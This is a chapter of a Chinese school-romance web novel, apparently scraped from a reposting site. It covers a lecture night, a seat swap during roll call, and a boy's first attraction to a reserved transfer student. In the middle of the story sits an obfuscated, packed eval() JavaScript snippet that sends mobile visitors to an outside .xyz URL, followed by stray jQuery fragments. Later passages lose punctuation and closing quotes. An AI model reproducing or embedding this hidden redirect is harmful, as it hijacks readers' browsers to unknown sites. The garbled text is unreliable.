第14章

作品:《发梦蜉蝣

    新学期伊始,学校在每天晚自习的时间,连续办了一周的新生讲座。


    邀请优秀校友回到母校,畅谈曾经如何受教于南安高中,如今又在不同的领域中贡献怎样的力量,事迹新奇,历程热血。礼堂座无虚席,新生们如一团蓬勃聚拢的萤火,憧憬着未来也和优秀前辈一样,散出去,发光发热。


    林晋慈电力不足,黯淡地夹混其中,讲座开始不久,就歪头靠着礼堂暗红色的联排座椅,不自知地睡过去。


    直到掌声如雷,林晋慈猛然睁开眼,有片刻猝醒的心惊,看了看周围,平缓了呼吸,然后望向自己手腕间的表。


    台上,年少成名的男画家正在主持人的提问之下分享趣事。


    “我跟南安高中的缘分,说来也巧,你们知道学校西门那边的校训石,上面刻的是什么吗?”


    前排有学生高声抢答:“弘德明志,崇实尚新!”


    男画家诙谐道:“很好,不过咱们这是无奖问答啊。”


    一点趣味,又引得台下学生大笑不止。


    “校训石上这八个字,是我的恩师,傅祺闻老先生写的。台下有同学知道傅老先生的吗?”


    回应他的,是起次彼伏的“不认识”。


    “很正常。”男画家笑道,“我像你们这么大的时候,也不认识。我简单介绍一下——是一个字和画都非常值钱的老头。同学们下次从西校门经过,可以多看两眼校训石,那可是个值钱玩意儿。”


    台下又是一阵集体大笑。


    “你醒了。”身旁的汤宁低声,“刚开学,连作业都没多少,你怎么累成这样?住不惯宿舍?”


    “可能吧。”


    这种睡眠不佳的情况已经延续了一个暑假,也看过心理医生,但无用,如今换到新环境里,林晋慈难以适应集体生活,情况反倒更坏了。


    汤宁看了看巡场老师的位置,从校服口袋里拿出口香糖,递到林晋慈面前。


    林晋慈接过来,低头塞进嘴里。


    “我猜就是。”汤宁说,“你昨晚做梦还说梦话了,说什么‘别跑别跑’。”


    林晋慈并不知道自己会说这样的梦话,口香糖是醒神的薄荷味,口腔里的冷意好似顺着喉咙一点点蔓延下去……


    脑海闪现一些车祸画面,以及许多片段式的说话声音,属于不同的人,却都围绕同一件事。


    林晋慈跟父母一起看过事发路口的监控,后来也看过心理医生,她


    清楚自己事发那刻并没有像梦里那样焦心急切,甚至没有发出任何声音。


    在灰暗的监控屏幕里,她静静站立在路口,如一棵没有生命的木头,看着弟弟毫无预兆跑到马路上,被飞驰而来的车子撞远。


    “你只是吓坏了。心理医生这样告诉她,“人在极致惊恐的状态下,失语,无法动弹,甚至做出一些反常行为,都是正常现象。


    “小慈——


    摆脱记忆的束缚,林晋慈当下的感知归位,愣愣地偏过脸,看向正低声喊她的汤宁。


    汤宁抬了抬下巴,示意带着红袖标的人来了。


    晚间讲座时间的过长,分了上下半场,也为了防止有学生中途偷偷溜走,行踪安全无法保障,所以中间的休息时间会进行一次点名,由学生会纪律部的人负责。


    “点名快到我们这儿了。汤宁提醒。


    林晋慈点头,“嗯了一声。


    由前到后,纪律部的点名表很快念到高一四班,喊到“魏一冉时,林晋慈答了一声“到。


    今晚负责点名的人是一个高年级的学姐,学姐看着林晋慈,又看看点名表,面露疑惑的样子像是认识魏一冉本人,识破这场偷梁换柱,多打量了林晋慈两眼,目光不太友善,但最后并没有说什么。


    这个小插曲引起汤宁不悦。


    “不过是比我们高一个年级而已,什么眼神,搞得像是已经提前进化了一样。


    汤宁很同情林晋慈,“你也是倒霉,碰上魏一冉。


    换座位发生在讲座开始前。


    当时整个礼堂涌进学生,各班都在安排入座,周围都闹哄哄的。


    林晋慈刚坐下不久,眼前就映入一张嬉皮笑脸的男生面孔。


    这面孔也不陌生。


    军训结束那天,在学校附近的商业街,有女生对着这张脸深情表白,说些偶像剧里才会有的话。


    此刻,如同回应那个女生一样,他对林晋慈扬起类似的惑人笑容。


    “哈喽,美女,能跟你换个座位吗?我那个位置更好,在前面,四班的,到时候中场点名,念到‘魏一冉’你答到就好,我换了好几次,不会有事的。


    拒绝可能会被继续央求,又是去汤宁所在的班级,林晋慈没什么表情,略略一想,不多话地起身了。


    魏一冉见状立马笑着问:“你叫什么名字啊?


    “林晋慈。


    省得他再多问,也避免他记不住,到


    时候点名更麻烦林晋慈翻开笔记本


    魏一冉接过纸条目送着林


    晋慈顺中间的台阶朝前走去神情是从未被这样冷淡对待的意外自言自语地念道:“林晋慈还挺有个性。”


    正有新鲜事儿要告诉旁边的傅易沛不想魏一冉刚坐下傅易沛就先往他这儿斜了一眼:“换来换去的烦不烦?”


    前几天晚上也**都来跟傅易沛坐一块儿也没听他说这种嫌弃的话。


    不过魏一冉十分心大照样笑嘻嘻:“哎刚刚你们班这个女生挺好看的怎么军训的时候没见过?”


    傅易沛懒得讲话语气听起来有些不高兴:“你认识所有女生?”


    “那倒没有。不过美女我基本都有印象。”


    “转校生军训最后一天过来的。”


    “怪不得。”


    魏一冉摊开手上的小纸条。


    字迹挺好看是锋锐的行楷利落得有些不像女生写的。


    魏一冉又好奇问道:“你怎么知道的?她告诉你的?看着冷冰冰的刚刚也对我爱答不理。”


    傅易沛说:“她跟谁都这样你也没什么特别的。”


    开学那天林晋慈本来坐在第一排但她在女生里个子算高班主任调整座位把她调到后排和傅易沛的座位隔着一条过道。


    自习课成了新学期之始默认的茶话会学生开合的嘴巴和头顶转悠的风扇一样没有一刻消停。


    只有林晋慈如同默剧里的人物。


    如果有人主动找她说话她也会简单回答。


    简单到只回答问题本身。


    比如她是军训最后一天转来的就是傅易沛无意听别人问来的回答但林晋慈并没有延伸去讲自己为什么这么迟才来学校。


    低话欲本身就自带疏离。


    几次下来来找林晋慈说话的人也少了但她似乎很适应无人打扰的安静。


    讲座过半学生会的人来点名由前到后到了九班时戴着红袖标的高年级学姐念到“林晋慈”发现是魏一冉答到立即挤眼嗔笑:“你啊就是不安分!”


    魏一冉熟稔应话夸对方执勤的样子好看。


    等人离开傅易沛有些无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823343|168737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    语淡淡瞥向魏一冉:“高二的你也认识?”


    魏一冉义正辞严:“美女就是美女管她什么学姐学妹啊。”


    傅易沛:“……”


    每场讲座都会以主讲人的寄语和祝福结束,最后一场也不例外。


    “我的恩师傅老先生曾有一句话对我影响匪浅,今天又回到与老先生初次结缘的南安高中,我想把这句话送给你们——惟从本心,方见天地。希望你们在最美好的年纪,找到自己的本心,走进属于你们的新天地!”


    一阵热烈的掌声后,讲座散场,学校还贴心地给学生留出一段要签名的时间。


    林晋慈和汤宁对签名没什么兴趣,一结束就顺着人潮往外走,遇到另一个室友,三人同行,中途室友去了卫生间,两人便在礼堂门口等她。


    晚间降温,夜风凉了许多。


    礼堂门口人潮如流水般散开,衬得站在原地不动的人,十分显眼。


    傅易沛先注意到林晋慈,再注意到给林晋慈搓手臂的男生。


    林晋慈把胳膊往后收,不想让男生继续这样的行为,但脸上并没有反感讨厌的意思,反而有一点淡淡的笑,像难为情。


    隔着过道,傅易沛在林晋慈旁边坐了一周,从没有见过林晋慈脸上出现这样的表情,因意外而突兀,因突兀而觉得有些微不可查的刺眼。


    而那个男生,大庭广众之下,依然抓着林晋慈的手臂不放。


    傅易沛并不是第一次见他。


    开学那天,发了一堆书下来,怎么搬走是一件不小的工程,这个男生在放学后,来到九班,帮林晋慈搬了一摞书。


    还有前天中午,傅易沛看见他和林晋慈一块去食堂。举止也很亲密。一个白色的保温杯而已,也不重,都那么殷勤,要替林晋慈拿着。


    见傅易沛突然停下脚步,魏一冉也停下,顺着傅易沛的视线看去,也是微微一惊:“嗯?汤宁?”


    傅易沛转过头:“你认识他?”


    “认识啊,我们班的。哎,旁边这个女生不是刚刚你们班的林晋慈嘛?”


    傅易沛“嗯”了一声,过了两秒,声音低了一些,作随意一问,“他们,是不是在一起了?”


    魏一冉立马面露惊色,“不可能吧,同性恋?这么时髦啊?”


    “……都是女生?”


    “对啊,女生,汤宁没喉结,你没注意?”


    傅易沛:“没注意。”


    说话时,细看了,照结果去分析,的确能细看出一些不像男生的感觉。原本有些碍眼的肢体接触,似乎也不知不觉显得清爽许多。


    “汤宁是体育特招生,篮球排球都打得不错。”


    魏一冉自来熟得令人害怕,面上挂笑,说着“哎,碰都碰上了,过去聊聊”,话音未落,人已经兴冲冲大步而去。


    傅易沛的脚步停在原地,目光却比魏一冉先到。


    林晋慈很白,手指细长,挽了一下耳边的碎发,低垂的眼睫颤动中有些一闪而过的憔悴,但转眼便没有踪迹可循。


    汤宁回答魏一冉,她们是室友,说她们在这里等另一个室友时,似乎也聊到了傅易沛。


    林晋慈目光瞥来傅易沛这里,淡而寻常的一眼。


    月光一样,持一种冷调的皎洁平和。


    林晋慈的目光很快收了回去,傅易沛也没有再多看,将视线挪回近处。他们之间隔着礼堂的出入口,学生们顺着礼堂前长长的台阶散下去。


    人潮亦是潮。


    年少的初初心动,是发现一座访问困难的小岛。